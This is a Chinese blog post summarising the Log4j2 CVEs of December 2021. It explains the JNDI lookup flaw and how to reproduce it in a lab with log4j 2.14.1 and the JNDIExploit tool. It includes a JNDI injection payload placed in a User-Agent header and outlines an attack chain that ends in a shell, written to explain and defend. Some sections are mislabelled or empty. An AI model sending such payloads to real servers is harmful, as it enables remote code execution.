log4j系列整理

咱就是说，好久没有写过博客了，最近干冬奥重保，又是要干活了说。

背景介绍

2021年12月9日，Log4j2在安全圈内横空出世，发现在网络上有针对Log4j2的任意代码执行漏洞，12月13日，给予编号CVE-2021-44228，CVSS分数：10，影响范围log4j2 2.x<= 2.14.1

2021年12月14日，CVE-2021-45046 远程代码执行漏洞报出，影响范围log4j2 2.x<=2.16.0

2021年12月16日，CVE-2021-45105拒绝服务漏洞爆出，Log4j2 2.0-beta9 -2.16.0

2021年12月29日，CVE-2021-44832编号确认，类型为，漏洞爆出，CVSS评分6.6分

CVE-2021-44228

详细介绍加复现：https://mp.weixin.qq.com/s/iKuG3f7QAvyswCXosAmA2g

我们写了一个Java程序，我们把浏览器的类型记录到日志里，实现方式如下：

StringuserAgent = request.getHeader("User-Agent");
logger.info(userAgent);

在这里，user-agent就属于外部输入的数据，而不是后端应用生成的。那么只要是外部的输入，就有可能存在恶意的代码攻击。比如攻击者发来了一个HTTP的数据包，它的user-agent如下：

${jndi:ldap://127.0.0.1/hahaha}

log4j会对这行需要输出的字段进行解析。

  1. 它发现了字符串中有 ${}，log4j表示明白了，我知道这个输出的字段内容是需要单独处理的。
  2. 然后它进一步解析，发现，哦，原来是是JNDI扩展内容。
  3. 然后它再进一步解析，发现，哦，原来是LDAP协议，LDAP服务器在1.2.3.4，要查找的key是hahaha。
  4. 最后，它会调用LDAP的相应模块去请求对应的数据。

那如果只是请求普通数据，那其实也没啥大不了的，但问题就出在它还可以请求Java对象。Java对象一般只存在于内存中，或者通过序列化的方式存储到文件中，再或者通过网络的方式传输。如果是自己定义的序列化方式那也就罢了，但是更危险的问题在于：JNDI还支持一个方式叫命名引用？？？？可以通过远程下载class文件，下载后加载并构建对象。那为啥要这样呢？有时候Java对象比较大，直接通过LDAP这些方式存储不方便，那么他就整了一个不直接返回对象内容，而是告诉你对象在哪个class文件，然后你去那里找的方式来解决这个问题。注意注意注意！！！核心问题：JNDI可以远程下载class文件来构建对象！！！。如果远程下载的URL指向的是一个黑客的服务器，并且下载的class文件里面藏有恶意代码，那不就有危险了吗？

手动搭建环境复现

创建一个mvn项目，导入两个包，下载地址：

https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api/2.14.1

https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/2.14.1

然后点击structure导入这两个包

 

 终端开启： java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.191.193（本机IP）

 

 需要修改两处文件

 

 源文件：链接：https://pan.baidu.com/s/18aeuAcBXELARzArq2XPEkw 提取码：jz7f

CVE-2021-45046

CVE-2021-45105

只有log4j-core JAR 文件受此漏洞影响，仅使用log4j-api JAR文件而不使用log4j-core JAR文件的应用程序不受此漏洞的影响。

log4j2默认配置不受此漏洞影响，仅当日志配置使用带有上下文 Lookup 的非默认模式，例如：$${ctx:loginId}时存在此漏洞。

存在漏洞的log4j2  xml配置文件示例：

POC

 

 

 

CVE-2021-44228 

介绍一

https://mp.weixin.qq.com/s/RMfb3XWqnsYyeGSPfq1e8Q

 漏洞 CVE-2021-44228 是通过记录特定负载而未经身份验证的 RCE（远程代码执行）。此漏洞不使用lookup的功能。 此漏洞的复杂性高于原始 CVE-2021-44228，因为它要求攻击者控制配置（如“logback”漏洞 CVE-2021-42550）。 与 logback 不同，在 log4j 中，有一个功能可以加载远程配置文件或通过代码配置记录器，因此可以通过 MITM 攻击、用户输入以易受攻击的配置变量结束或修改 配置文件。在查看 log4j 功能时，我们遇到了“Appender”功能。 Appenders 基本上是输出日志的地方，所以我们有例如 ConsoleAppender、FileAppender 等。但是在进入 log4j 中的 JDBC 反序列化之前，我们注意到在文档中有一种配置 log4j 的方法，以便它可以通过 JNDI 动态和远程获取数据库源。 远程数据库位置的配置是通过 DataSource 元素完成的。 以官方文档为例：

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
  <Appenders>
  <JDBC name="databaseAppender" tableName="dbo.application_log">
         <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
     <Column ...
  </JDBC>
 </Appenders>
…
</Configuration>

解读一下， 主要的步骤是：

hacker在服务器上上传了恶意的配置文件(log4j2.xml)
awesome.com(target)获取远程配置文件
带有恶意配置文件的server返回配置文件至target
tartget服务器加载恶意配置文件并发出ldap请求
恶意ldap服务器返回exp的payload
jndi加载攻击对象并触发, 然后连接到hacker的server
hacker获取shell

从流程解读上来看，这个漏洞并不是十分容易被利用，CVSS v3.1评分为6.6分。其主要的难点在于，攻击者如何去修改这个配置文件？

1. 如果直接修改的话，那就意味着攻击者已经拿到服务器的控制权了，只是通过修改配置文件为后面的攻击铺路；

2. 通过替换的方式将目标主机上的pom.xml文件与攻击主机上的pom.xml文件进行替换或者直接通过webshell的手段将pom.xml修改成指定的内容，这就意味着攻击者还需要另外寻找一个方式去替换这个xml文件才能达成此次攻击。

从以上两个方式来看，好像第二步是在初步攻击的时候为可行的，第一步只是为了后续的攻击铺路。

 

posted @ 2021-12-31 17:07  东坡肉肉君  阅读(25)  评论(0)  编辑  收藏  举报